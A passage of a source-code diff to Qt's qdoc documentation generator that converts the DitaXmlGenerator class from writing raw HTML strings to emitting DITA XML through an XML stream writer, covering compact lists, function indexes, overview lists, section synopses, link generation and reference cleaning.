xmlWriter().writeStartElement("xref"); + QString guid = lookupGuid(outFileName(),QString(ch)); + QString attr = outFileName() + QString("#%1").arg(guid); + xmlWriter().writeAttribute("href", attr); + xmlWriter().writeCharacters(QString(ch.toUpper())); + xmlWriter().writeEndElement(); // </xref> + } } - out() << "</b></p>\n"; + xmlWriter().writeEndElement(); // </p> } /* - Output a <div> element to contain all the <dl> elements. + Output a <p> element to contain all the <dl> elements. */ - out() << "<div class=\"flowListDiv\">\n"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","compactlist"); for (int i=0; i<classMap.count()-1; i++) { while ((curParNr < NumParagraphs) && @@ -2557,27 +2801,26 @@ void DitaXmlGenerator::generateCompactList(const Node *relative, Starting a new paragraph means starting a new <dl>. */ if (curParOffset == 0) { - if (i > 0) - out() << "</dl>\n"; - if (++numTableRows % 2 == 1) - out() << "<dl class=\"flowList odd\">"; - else - out() << "<dl class=\"flowList even\">"; - out() << "<dt class=\"alphaChar\">"; + if (i > 0) { + xmlWriter().writeEndElement(); // </dlentry> + xmlWriter().writeEndElement(); // </dl> + } + xmlWriter().writeStartElement("dl"); + xmlWriter().writeStartElement("dlentry"); + xmlWriter().writeStartElement("dt"); if (includeAlphabet) { QChar c = paragraphName[curParNr][0].toLower(); - out() << QString("<a name=\"%1\"></a>").arg(c); + writeGuidAttribute(QString(c)); } - out() << "<b>" - << paragraphName[curParNr] - << "</b>"; - out() << "</dt>\n"; + xmlWriter().writeAttribute("outputclass","sublist-header"); + xmlWriter().writeCharacters(paragraphName[curParNr]); + xmlWriter().writeEndElement(); // </dt> } /* Output a <dd> for the current offset in the current paragraph. */ - out() << "<dd>"; + xmlWriter().writeStartElement("dd"); if ((curParNr < NumParagraphs) && !paragraphName[curParNr].isEmpty()) { NodeMap::Iterator it; @@ -2589,148 +2832,115 @@ void DitaXmlGenerator::generateCompactList(const Node *relative, Previously, we used generateFullName() for this, but we require some special formatting. */ - out() << "<xref href=\"" << linkForNode(it.value(), relative) << "\">"; + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(it.value(), relative)); QStringList pieces; if (it.value()->subType() == Node::QmlClass) pieces << it.value()->name(); else pieces = fullName(it.value(), relative, marker).split("::"); - out() << protectEnc(pieces.last()); - out() << "</xref>"; + xmlWriter().writeCharacters(protectEnc(pieces.last())); + xmlWriter().writeEndElement(); // </xref> if (pieces.size() > 1) { - out() << " ("; - generateFullName(it.value()->parent(), relative, marker); - out() << ")"; + xmlWriter().writeCharacters(" ("); + generateFullName(it.value()->parent(),relative,marker); + xmlWriter().writeCharacters(")"); } } - out() << "</dd>\n"; + xmlWriter().writeEndElement(); // </dd> curParOffset++; } - out() << "</dl>\n"; - out() << "</div>\n"; + xmlWriter().writeEndElement(); // </dlentry> + xmlWriter().writeEndElement(); // </dl> + xmlWriter().writeEndElement(); // </p> } -void DitaXmlGenerator::generateFunctionIndex(const Node *relative, - CodeMarker *marker) +/*! + Write XML for a function index to the current XML stream. + */ +void DitaXmlGenerator::generateFunctionIndex(const Node* relative, + CodeMarker* marker) { - out() << "<p class=\"centerAlign functionIndex\"><b>"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","alphabet"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); - out() << QString("<xref href=\"#%1\">%2</xref> ").arg(ch).arg(ch.toUpper()); + xmlWriter().writeStartElement("xref"); + QString guid = lookupGuid(outFileName(),QString(ch)); + QString attr = outFileName() + QString("#%1").arg(guid); + xmlWriter().writeAttribute("href", attr); + xmlWriter().writeCharacters(QString(ch.toUpper())); + xmlWriter().writeEndElement(); // </xref> + } - out() << "</b></p>\n"; + xmlWriter().writeEndElement(); // </p> char nextLetter = 'a'; char currentLetter; -#if 1 - out() << "<ul>\n"; -#endif + xmlWriter().writeStartElement("ul"); QMap<QString, NodeMap >::ConstIterator f = funcIndex.begin(); while (f != funcIndex.end()) { -#if 1 - out() << "<li>"; -#else - out() << "<p>"; -#endif - out() << protectEnc(f.key()) << ":"; - + xmlWriter().writeStartElement("li"); currentLetter = f.key()[0].unicode(); while (islower(currentLetter) && currentLetter >= nextLetter) { - out() << QString("<a name=\"%1\"></a>").arg(nextLetter); + xmlWriter().writeStartElement("p"); + writeGuidAttribute(QString(nextLetter)); + xmlWriter().writeAttribute("outputclass","target"); + xmlWriter().writeCharacters(QString(nextLetter)); + xmlWriter().writeEndElement(); // </p> nextLetter++; } + xmlWriter().writeCharacters(protectEnc(f.key())); + xmlWriter().writeCharacters(":"); NodeMap::ConstIterator s = (*f).begin(); while (s != (*f).end()) { - out() << " "; generateFullName((*s)->parent(), relative, marker, *s); ++s; } -#if 1 - out() << "</li>"; -#else - out() << "</p>"; -#endif - out() << "\n"; + xmlWriter().writeEndElement(); // </li> ++f; } -#if 1 - out() << "</ul>\n"; -#endif + xmlWriter().writeEndElement(); // </ul> } -void DitaXmlGenerator::generateLegaleseList(const Node *relative, - CodeMarker *marker) +/*! + Write the legalese texts as XML to the current XML stream. + */ +void DitaXmlGenerator::generateLegaleseList(const Node* relative, + CodeMarker* marker) { - QMap<Text, const Node *>::ConstIterator it = legaleseTexts.begin(); + QMap<Text, const Node*>::ConstIterator it = legaleseTexts.begin(); while (it != legaleseTexts.end()) { Text text = it.key(); - out() << "<hr />\n"; generateText(text, relative, marker); - out() << "<ul>\n"; + xmlWriter().writeStartElement("ul"); do { - out() << "<li>"; + xmlWriter().writeStartElement("li"); generateFullName(it.value(), relative, marker); - out() << "</li>\n"; + xmlWriter().writeEndElement(); // </li> ++it; } while (it != legaleseTexts.end() && it.key() == text); - out() << "</ul>\n"; + xmlWriter().writeEndElement(); //</ul> } } -/*void DitaXmlGenerator::generateSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style) -{ - QString marked = marker->markedUpSynopsis(node, relative, style); - QRegExp templateTag("(<[^@>]*>)"); - if (marked.indexOf(templateTag) != -1) { - QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), templateTag.cap(1).length(), - contents); - } - marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])</@param>"), - "<i>\\1<sub>\\2</sub></i>"); - marked.replace("<@param>", "<i>"); - marked.replace("</@param>", "</i>"); - - if (style == CodeMarker::Summary) - marked.replace("@name>", "b>"); - - if (style == CodeMarker::SeparateList) { - QRegExp extraRegExp("<@extra>.*</@extra>"); - extraRegExp.setMinimal(true); - marked.replace(extraRegExp, ""); - } - else { - marked.replace("<@extra>", " <tt>"); - marked.replace("</@extra>", "</tt>"); - } - - if (style != CodeMarker::Detailed) { - marked.replace("<@type>", ""); - marked.replace("</@type>", ""); - } - out() << highlightedCode(marked, marker, relative); -}*/ - -#ifdef QDOC_QML -void DitaXmlGenerator::generateQmlItem(const Node *node, - const Node *relative, - CodeMarker *marker, - bool summary) +/*! + Generate the text for the QML item described by \a node + and write it to the current XML stream. + */ +void DitaXmlGenerator::generateQmlItem(const Node* node, + const Node* relative, + CodeMarker* marker, + bool summary) { QString marked = marker->markedUpQmlItem(node,summary); - QRegExp templateTag("(<[^@>]*>)"); - if (marked.indexOf(templateTag) != -1) { - QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), templateTag.cap(1).length(), - contents); + QRegExp tag("(<[^@>]*>)"); + if (marked.indexOf(tag) != -1) { + QString tmp = protectEnc(marked.mid(tag.pos(1), tag.cap(1).length())); + marked.replace(tag.pos(1), tag.cap(1).length(), tmp); } marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])</@param>"), "<i>\\1<sub>\\2</sub></i>"); @@ -2747,21 +2957,23 @@ void DitaXmlGenerator::generateQmlItem(const Node *node, marked.replace("<@type>", ""); marked.replace("</@type>", ""); } - out() << highlightedCode(marked, marker, relative); + writeText(marked, marker, relative); } -#endif -void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /* marker */) +/*! + Writher the XML for the overview list to the current XML stream. + */ +void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* marker */) { - QMap<const FakeNode *, QMap<QString, FakeNode *> > fakeNodeMap; - QMap<QString, const FakeNode *> groupTitlesMap; - QMap<QString, FakeNode *> uncategorizedNodeMap; + QMap<const FakeNode*, QMap<QString, FakeNode*> > fakeNodeMap; + QMap<QString, const FakeNode*> groupTitlesMap; + QMap<QString, FakeNode*> uncategorizedNodeMap; QRegExp singleDigit("\\b([0-9])\\b"); const NodeList children = myTree->root()->childNodes(); - foreach (Node *child, children) { + foreach (Node* child, children) { if (child->type() == Node::Fake && child != relative) { - FakeNode *fakeNode = static_cast<FakeNode *>(child); + FakeNode* fakeNode = static_cast<FakeNode*>(child); // Check whether the page is part of a group or is the group // definition page. @@ -2793,24 +3005,25 @@ void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * / if (isGroupPage) { // If we encounter a group definition page, we add all // the pages in that group to the list for that group. - foreach (Node *member, fakeNode->groupMembers()) { + foreach (Node* member, fakeNode->groupMembers()) { if (member->type() != Node::Fake) continue; - FakeNode *page = static_cast<FakeNode *>(member); + FakeNode* page = static_cast<FakeNode*>(member); if (page) { QString sortKey = page->fullTitle().toLower(); if (sortKey.startsWith("the ")) sortKey.remove(0, 4); sortKey.replace(singleDigit, "0\\1"); - fakeNodeMap[const_cast<const FakeNode *>(fakeNode)].insert(sortKey, page); - groupTitlesMap[fakeNode->fullTitle()] = const_cast<const FakeNode *>(fakeNode); + fakeNodeMap[const_cast<const FakeNode*>(fakeNode)].insert(sortKey, page); + groupTitlesMap[fakeNode->fullTitle()] = const_cast<const FakeNode*>(fakeNode); } } } else if (!isGroupPage) { // If we encounter a page that belongs to a group then // we add that page to the list for that group. - const FakeNode *groupNode = static_cast<const FakeNode *>(myTree->root()->findNode(group, Node::Fake)); + const FakeNode* groupNode = + static_cast<const FakeNode*>(myTree->root()->findNode(group, Node::Fake)); if (groupNode) fakeNodeMap[groupNode].insert(sortKey, fakeNode); //else @@ -2829,241 +3042,172 @@ void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * / // pages in that group are listed for completeness. if (!fakeNodeMap.isEmpty()) { - foreach (const QString &groupTitle, groupTitlesMap.keys()) { - const FakeNode *groupNode = groupTitlesMap[groupTitle]; - out() << QString("<h3><xref href=\"%1\">%2</xref></h3>\n").arg( - linkForNode(groupNode, relative)).arg( - protectEnc(groupNode->fullTitle())); - + foreach (const QString& groupTitle, groupTitlesMap.keys()) { + const FakeNode* groupNode = groupTitlesMap[groupTitle]; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(groupNode, relative)); + writeCharacters(protectEnc(groupNode->fullTitle())); + xmlWriter().writeEndElement(); // </xref> + xmlWriter().writeEndElement(); // </p> if (fakeNodeMap[groupNode].count() == 0) continue; - out() << "<ul>\n"; - - foreach (const FakeNode *fakeNode, fakeNodeMap[groupNode]) { + xmlWriter().writeStartElement("ul"); + foreach (const FakeNode* fakeNode, fakeNodeMap[groupNode]) { QString title = fakeNode->fullTitle(); if (title.startsWith("The ")) title.remove(0, 4); - out() << "<li><xref href=\"" << linkForNode(fakeNode, relative) << "\">" - << protectEnc(title) << "</xref></li>\n"; + xmlWriter().writeStartElement("li"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative)); + writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); // </xref> + xmlWriter().writeEndElement(); // </li> } - out() << "</ul>\n"; + xmlWriter().writeEndElement(); // </ul> } } if (!uncategorizedNodeMap.isEmpty()) { - out() << QString("<h3>Miscellaneous</h3>\n"); - out() << "<ul>\n"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters("Miscellaneous"); + xmlWriter().writeEndElement(); // </p> + xmlWriter().writeStartElement("ul"); foreach (const FakeNode *fakeNode, uncategorizedNodeMap) { QString title = fakeNode->fullTitle(); if (title.startsWith("The ")) title.remove(0, 4); - out() << "<li><xref href=\"" << linkForNode(fakeNode, relative) << "\">" - << protectEnc(title) << "</xref></li>\n"; + xmlWriter().writeStartElement("li"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative)); + writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); // </xref> + xmlWriter().writeEndElement(); // </li> } - out() << "</ul>\n"; + xmlWriter().writeEndElement(); // </ul> } } +/*! + Write the XML for a standard section of a page, e.g. + "Public Functions" or "Protected Slots." The section + is written too the current XML stream as a table. + */ void DitaXmlGenerator::generateSection(const NodeList& nl, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style) + const Node* relative, + CodeMarker* marker, + CodeMarker::SynopsisStyle style) { - bool name_alignment = true; if (!nl.isEmpty()) { - bool twoColumn = false; - if (style == CodeMarker::SeparateList) { - name_alignment = false; - twoColumn = (nl.count() >= 16); - } - else if (nl.first()->type() == Node::Property) { - twoColumn = (nl.count() >= 5); - name_alignment = false; - } - if (name_alignment) { - out() << "<table class=\"alignedsummary\">\n"; - } - else { - if (twoColumn) - out() << "<table class=\"propsummary\">\n" - << "<tr><td class=\"topAlign\">"; - out() << "<ul>\n"; - } - - int i = 0; + xmlWriter().writeStartElement("ul"); NodeList::ConstIterator m = nl.begin(); while (m != nl.end()) { - if ((*m)->access() == Node::Private) { - ++m; - continue; + if ((*m)->access() != Node::Private) { + xmlWriter().writeStartElement("li"); + QString marked = getMarkedUpSynopsis(*m, relative, marker, style); + writeText(marked, marker, relative); + xmlWriter().writeEndElement(); // </li> } - - if (name_alignment) { - out() << "<tr><td class=\"memItemLeft rightAlign topAlign\"> "; - } - else { - if (twoColumn && i == (int) (nl.count() + 1) / 2) - out() << "</ul></td><td class=\"topAlign\"><ul>\n"; - out() << "<li class=\"fn\">"; - } - - generateSynopsis(*m, relative, marker, style, name_alignment); - if (name_alignment) - out() << "</td></tr>\n"; - else - out() << "</li>\n"; - i++; ++m; } - if (name_alignment) - out() << "</table>\n"; - else { - out() << "</ul>\n"; - if (twoColumn) - out() << "</td></tr>\n</table>\n"; - } - } -} - -void DitaXmlGenerator::generateSectionList(const Section& section, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style) -{ - bool name_alignment = true; - if (!section.members.isEmpty()) { - bool twoColumn = false; - if (style == CodeMarker::SeparateList) { - name_alignment = false; - twoColumn = (section.members.count() >= 16); - } - else if (section.members.first()->type() == Node::Property) { - twoColumn = (section.members.count() >= 5); - name_alignment = false; - } - if (name_alignment) { - out() << "<table class=\"alignedsummary\">\n"; - } - else { - if (twoColumn) - out() << "<table class=\"propsummary\">\n" - << "<tr><td class=\"topAlign\">"; - out() << "<ul>\n"; - } - - int i = 0; - NodeList::ConstIterator m = section.members.begin(); - while (m != section.members.end()) { - if ((*m)->access() == Node::Private) { - ++m; - continue; - } - - if (name_alignment) { - out() << "<tr><td class=\"memItemLeft topAlign rightAlign\"> "; - } - else { - if (twoColumn && i == (int) (section.members.count() + 1) / 2) - out() << "</ul></td><td class=\"topAlign\"><ul>\n"; - out() << "<li class=\"fn\">"; - } - - generateSynopsis(*m, relative, marker, style, name_alignment); - if (name_alignment) - out() << "</td></tr>\n"; - else - out() << "</li>\n"; - i++; - ++m; - } - if (name_alignment) - out() << "</table>\n"; - else { - out() << "</ul>\n"; - if (twoColumn) - out() << "</td></tr>\n</table>\n"; - } - } - - if (style == CodeMarker::Summary && !section.inherited.isEmpty()) { - out() << "<ul>\n"; - generateSectionInheritedList(section, relative, marker, name_alignment); - out() << "</ul>\n"; + xmlWriter().writeEndElement(); // </ul> } } +/*! + Writes the "inherited from" list to the current XML stream. + */ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, - const Node *relative, - CodeMarker *marker, - bool nameAlignment) + const Node* relative, + CodeMarker* marker) { - QList<QPair<ClassNode *, int> >::ConstIterator p = section.inherited.begin(); + if (section.inherited.isEmpty()) + return; + xmlWriter().writeStartElement("ul"); + QList<QPair<ClassNode*,int> >::ConstIterator p = section.inherited.begin(); while (p != section.inherited.end()) { - if (nameAlignment) - out() << "<li class=\"fn\">"; + xmlWriter().writeStartElement("li"); + QString text; + text.setNum((*p).second); + text += " "; + if ((*p).second == 1) + text += section.singularMember; else - out() << "<li class=\"fn\">"; - out() << (*p).second << " "; - if ((*p).second == 1) { - out() << section.singularMember; - } - else { - out() << section.pluralMember; - } - out() << " inherited from <xref href=\"" << fileName((*p).first) - << "#" << DitaXmlGenerator::cleanRef(section.name.toLower()) << "\">" - << protectEnc(marker->plainFullName((*p).first, relative)) - << "</xref></li>\n"; + text += section.pluralMember; + text += " inherited from "; + writeCharacters(text); + xmlWriter().writeStartElement("xref"); + // zzz + text = fileName((*p).first) + "#"; + text += DitaXmlGenerator::cleanRef(section.name.toLower()); + xmlWriter().writeAttribute("href",text); + text = protectEnc(marker->plainFullName((*p).first, relative)); + writeCharacters(text); + xmlWriter().writeEndElement(); // </xref> + xmlWriter().writeEndElement(); // </li> ++p; } + xmlWriter().writeEndElement(); // </ul> } -void DitaXmlGenerator::generateSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style, - bool nameAlignment) +/*! + Get the synopsis from the \a node using the \a relative + node if needed, and mark up the synopsis using \a marker. + Use the style to decide which kind of sysnopsis to build, + normally \c Summary or \c Detailed. Return the marked up + string. + */ +QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, + const Node* relative, + CodeMarker* marker, + CodeMarker::SynopsisStyle style) { QString marked = marker->markedUpSynopsis(node, relative, style); - QRegExp templateTag("(<[^@>]*>)"); - if (marked.indexOf(templateTag) != -1) { - QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), templateTag.cap(1).length(), - contents); + QRegExp tag("(<[^@>]*>)"); + if (marked.indexOf(tag) != -1) { + QString tmp = protectEnc(marked.mid(tag.pos(1), tag.cap(1).length())); + marked.replace(tag.pos(1), tag.cap(1).length(), tmp); } marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])</@param>"), "<i>\\1<sub>\\2</sub></i>"); - marked.replace("<@param>", "<i>"); - marked.replace("</@param>", "</i>"); - +#if 0 + marked.replace("<@param>","<i>"); + marked.replace("</@param>","</i>"); +#endif if (style == CodeMarker::Summary) { - marked.replace("<@name>", ""); // was "<b>" - marked.replace("</@name>", ""); // was "</b>" + marked.replace("<@name>",""); // was "<b>" + marked.replace("</@name>",""); // was "</b>" } if (style == CodeMarker::SeparateList) { QRegExp extraRegExp("<@extra>.*</@extra>"); extraRegExp.setMinimal(true); - marked.replace(extraRegExp, ""); - } else { - marked.replace("<@extra>", "<tt>"); - marked.replace("</@extra>", "</tt>"); + marked.replace(extraRegExp,""); } +#if 0 + else { + marked.replace("<@extra>","<tt>"); + marked.replace("</@extra>","</tt>"); + } +#endif if (style != CodeMarker::Detailed) { - marked.replace("<@type>", ""); - marked.replace("</@type>", ""); + marked.replace("<@type>",""); + marked.replace("</@type>",""); } - out() << highlightedCode(marked, marker, relative, style, nameAlignment); + return marked; } -QString DitaXmlGenerator::highlightedCode(const QString& markedCode, - CodeMarker *marker, - const Node *relative, - CodeMarker::SynopsisStyle , - bool nameAlignment) +/*! + Renamed from highlightedCode() in the html generator. Writes + the \a markedCode to the current XML stream. + */ +void DitaXmlGenerator::writeText(const QString& markedCode, + CodeMarker* marker, + const Node* relative) { QString src = markedCode; QString html; @@ -3073,130 +3217,29 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode, const QChar charLangle = '<'; const QChar charAt = '@'; - // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*(</@link>)" - static const QString linkTag("link"); - bool done = false; - for (int i = 0, n = src.size(); i < n;) { - if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') { - if (nameAlignment && !done) {// && (i != 0)) Why was this here? - html += "</td><td class=\"memItemRight bottomAlign\">"; - done = true; - } - i += 2; - if (parseArg(src, linkTag, &i, n, &arg, &par1)) { - html += "<b>"; - QString link = linkForNode( - CodeMarker::nodeForString(par1.toString()), relative); - addLink(link, arg, &html); - html += "</b>"; - } - else { - html += charLangle; - html += charAt; - } - } - else { - html += src.at(i++); - } - } - - - if (slow) { - // is this block ever used at all? - // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)(</@func>)" - src = html; - html = QString(); - static const QString funcTag("func"); - for (int i = 0, n = src.size(); i < n;) { - if (src.at(i) == charLangle && src.at(i + 1) == charAt) { - i += 2; - if (parseArg(src, funcTag, &i, n, &arg, &par1)) { - QString link = linkForNode( - marker->resolveTarget(par1.toString(), - myTree, - relative), - relative); - addLink(link, arg, &html); - par1 = QStringRef(); - } - else { - html += charLangle; - html += charAt; - } - } - else { - html += src.at(i++); - } - } - } - - // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)" tags - src = html; - html = QString(); - static const QString typeTags[] = { "type", "headerfile", "func" }; - for (int i = 0, n = src.size(); i < n;) { - if (src.at(i) == charLangle && src.at(i + 1) == charAt) { - i += 2; - bool handled = false; - for (int k = 0; k != 3; ++k) { - if (parseArg(src, typeTags[k], &i, n, &arg, &par1)) { - par1 = QStringRef(); - QString link = linkForNode( - marker->resolveTarget(arg.toString(), myTree, relative), - relative); - addLink(link, arg, &html); - handled = true; - break; - } - } - if (!handled) { - html += charLangle; - html += charAt; - } - } - else { - html += src.at(i++); - } - } - - // replace all - // "<@comment>" -> "<span class=\"comment\">"; - // "<@preprocessor>" -> "<span class=\"preprocessor\">"; - // "<@string>" -> "<span class=\"string\">"; - // "<@char>" -> "<span class=\"char\">"; - // "</@(?:comment|preprocessor|string|char)>" -> "</span>" - src = html; - html = QString(); + /* + First strip out all the extraneous markup. The table + below contains the markup we want to keep. Everything + else that begins with "<@" or "</@" is stripped out. + */ static const QString spanTags[] = { - "<@comment>", "<span class=\"comment\">", - "<@preprocessor>", "<span class=\"preprocessor\">", - "<@string>", "<span class=\"string\">", - "<@char>", "<span class=\"char\">", - "</@comment>", "</span>", - "</@preprocessor>","</span>", - "</@string>", "</span>", - "</@char>", "</span>" - // "<@char>", "<font color=blue>", - // "</@char>", "</font>", - // "<@func>", "<font color=green>", - // "</@func>", "</font>", - // "<@id>", "<i>", - // "</@id>", "</i>", - // "<@keyword>", "<b>", - // "</@keyword>", "</b>", - // "<@number>", "<font color=yellow>", - // "</@number>", "</font>", - // "<@op>", "<b>", - // "</@op>", "</b>", - // "<@param>", "<i>", - // "</@param>", "</i>", - // "<@string>", "<font color=green>", - // "</@string>", "</font>", + "<@link ", "<@link ", + "<@type>", "<@type>", + "<@headerfile>", "<@headerfile>", + "<@func>", "<@func>", + "<@param>", "<@param>", + "<@extra>", "<@extra>", + "</@link>", "</@link>", + "</@type>", "</@type>", + "</@headerfile>", "</@headerfile>", + "</@func>", "</@func>", + "</@param>", "</@param>", + "</@extra>", "</@extra>" }; for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle) { bool handled = false; - for (int k = 0; k != 8; ++k) { + for (int k = 0; k != 12; ++k) { const QString & tag = spanTags[2 * k]; if (tag == QStringRef(&src, i, tag.length())) { html += spanTags[2 * k + 1]; @@ -3226,45 +3269,120 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode, } } - return html; + // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*(</@link>)" + // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)" tags + src = html; + html = QString(); + static const QString markTags[] = { + // 0 1 2 3 4 5 + "link", "type", "headerfile", "func", "param", "extra" + }; + + for (int i = 0, n = src.size(); i < n;) { + if (src.at(i) == charLangle && src.at(i + 1) == charAt) { + i += 2; + bool handled = false; + for (int k = 0; k != 6; ++k) { + if (parseArg(src, markTags[k], &i, n, &arg, &par1)) { + const Node* n = 0; + if (k == 0) { // <@link> + if (!html.isEmpty()) { + writeCharacters(html); + html.clear(); + } + n = CodeMarker::nodeForString(par1.toString()); + QString link = linkForNode(n, relative); + addLink(link, arg); + } + else if (k == 4) { // <@param> + if (!html.isEmpty()) { + writeCharacters(html); + html.clear(); + } + xmlWriter().writeStartElement("i"); + writeCharacters(arg.toString()); + xmlWriter().writeEndElement(); // </i> + } + else if (k == 5) { // <@extra> + if (!html.isEmpty()) { + writeCharacters(html); + html.clear(); + } + xmlWriter().writeStartElement("tt"); + writeCharacters(arg.toString()); + xmlWriter().writeEndElement(); // </tt> + } + else { + if (!html.isEmpty()) { + writeCharacters(html); + html.clear(); + } + par1 = QStringRef(); + QString link; + n = marker->resolveTarget(arg.toString(), myTree, relative); + if (n && n->subType() == Node::QmlBasicType) { + if (relative && relative->subType() == Node::QmlClass) { + link = linkForNode(n,relative); + addLink(link, arg); + } + else { + link = arg.toString(); + } + } + else { + // (zzz) Is this correct for all cases? + link = linkForNode(n,relative); + addLink(link, arg); + } + } + handled = true; + break; + } + } + } + else { + html += src.at(i++); + } + } + + if (!html.isEmpty()) { + writeCharacters(html); + } } void DitaXmlGenerator::generateLink(const Atom* atom, - const Node* /* relative */, - CodeMarker* marker) + const Node* /* relative */, + CodeMarker* marker) { static QRegExp camelCase("[A-Z][A-Z][a-z]|[a-z][A-Z0-9]|_"); if (funcLeftParen.indexIn(atom->string()) != -1 && marker->recognizeLanguage("Cpp")) { // hack for C++: move () outside of link int k = funcLeftParen.pos(1); - writer.writeCharacters(protectEnc(atom->string().left(k))); + writeCharacters(protectEnc(atom->string().left(k))); if (link.isEmpty()) { if (showBrokenLinks) - writer.writeEndElement(); // </i> - } - else { - writer.writeEndElement(); // </xref> + xmlWriter().writeEndElement(); // </i> } + else + xmlWriter().writeEndElement(); // </xref> inLink = false; - writer.writeCharacters(protectEnc(atom->string().mid(k))); - } else if (marker->recognizeLanguage("Java")) { + writeCharacters(protectEnc(atom->string().mid(k))); + } + else if (marker->recognizeLanguage("Java")) { // hack for Java: remove () and use <tt> when appropriate bool func = atom->string().endsWith("()"); bool tt = (func || atom->string().contains(camelCase)); if (tt) - writer.writeStartElement("tt"); - if (func) { - writer.writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); - } - else { - writer.writeCharacters(protectEnc(atom->string())); - } - writer.writeEndElement(); // </tt> - } - else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeStartElement("tt"); + if (func) + writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); + else + writeCharacters(protectEnc(atom->string())); + xmlWriter().writeEndElement(); // </tt> } + else + writeCharacters(protectEnc(atom->string())); } QString DitaXmlGenerator::cleanRef(const QString& ref) @@ -3279,14 +3397,17 @@ QString DitaXmlGenerator::cleanRef(const QString& ref) const uint u = c.unicode(); if ((u >= 'a' && u <= 'z') || - (u >= 'A' && u <= 'Z') || - (u >= '0' && u <= '9')) { + (u >= 'A' && u <= 'Z') || + (u >= '0' && u <= '9')) { clean += c; - } else if (u == '~') { + } + else if (u == '~') { clean += "dtor."; - } else if (u == '_') { + } + else if (u == '_') { clean += "underscore."; - } else { + } + else { clean += "A"; } @@ -3294,25 +3415,33 @@ QString DitaXmlGenerator::cleanRef(const QString& ref) const QChar c = ref[i]; const uint u = c.unicode(); if ((u >= 'a' && u <= 'z') || - (u >= 'A' && u <= 'Z') || - (u >= '0' && u <= '9') || u == '-' || - u == '_' || u == ':' || u == '.') { + (u >= 'A' && u <= 'Z') || + (u >= '0' && u <= '9') || u == '-' || + u == '_' || u == ':' || u == '.') { clean += c; - } else if (c.isSpace()) { + } + else if (c.isSpace()) { clean += "-"; - } else if (u == '!') { + } + else if (u == '!') { clean += "-not"; - } else if (u == '&') { + } + else if (u == '&') { clean += "-and"; - } else if (u == '<') { + } + else if (u == '<') { clean += "-lt"; - } else if (u == '=') { + } + else if (u == '=') { clean += "-eq"; - } else if (u == '>') { + } + else if (u == '>') { clean += "-gt"; - } else if (u == '#') { + } + else if (u == '#') { clean += "#"; - } else { + } + else { clean += "-"; clean += QString::number((int)u, 16); } @@ -3329,20 +3458,27 @@ QString DitaXmlGenerator::registerRef(const QString& ref) if (prevRef.isEmpty()) { prevRef = ref; break; - } else if (prevRef == ref) { - break; } + else if (prevRef == ref) + break; +#if 0 + else + qDebug() << "PREVREF:" << prevRef; +#endif clean += "x"; } return clean; } -QString DitaXmlGenerator::protectEnc(const QString &string) +/*! + Calls protect() with the \a string. Returns the result. + */ +QString DitaXmlGenerator::protectEnc(const QString& string) { return protect(string, outputEncoding); } -QString DitaXmlGenerator::protect(const QString &string, const QString &outputEncoding) +QString DitaXmlGenerator::protect(const QString& string, const QString& outputEncoding) { #define APPEND(x) \ if (xml.isEmpty()) { \ @@ -3359,20 +3495,25 @@ QString DitaXmlGenerator::protect(const QString &string, const QString &outputEn if (ch == QLatin1Char('&')) { APPEND("&"); - } else if (ch == QLatin1Char('<')) { + } + else if (ch == QLatin1Char('<')) { APPEND("<"); - } else if (ch == QLatin1Char('>')) { + } + else if (ch == QLatin1Char('>')) { APPEND(">"); - } else if (ch == QLatin1Char('"')) { + } + else if (ch == QLatin1Char('"')) { APPEND("""); - } else if ((outputEncoding == "ISO-8859-1" && ch.unicode() > 0x007F) - || (ch == QLatin1Char('*') && i + 1 < n && string.at(i) == QLatin1Char('/')) - || (ch == QLatin1Char('.') && i > 2 && string.at(i - 2) == QLatin1Char('.'))) { + } + else if ((outputEncoding == "ISO-8859-1" && ch.unicode() > 0x007F) || + (ch == QLatin1Char('*') && i + 1 < n && string.at(i) == QLatin1Char('/')) || + (ch == 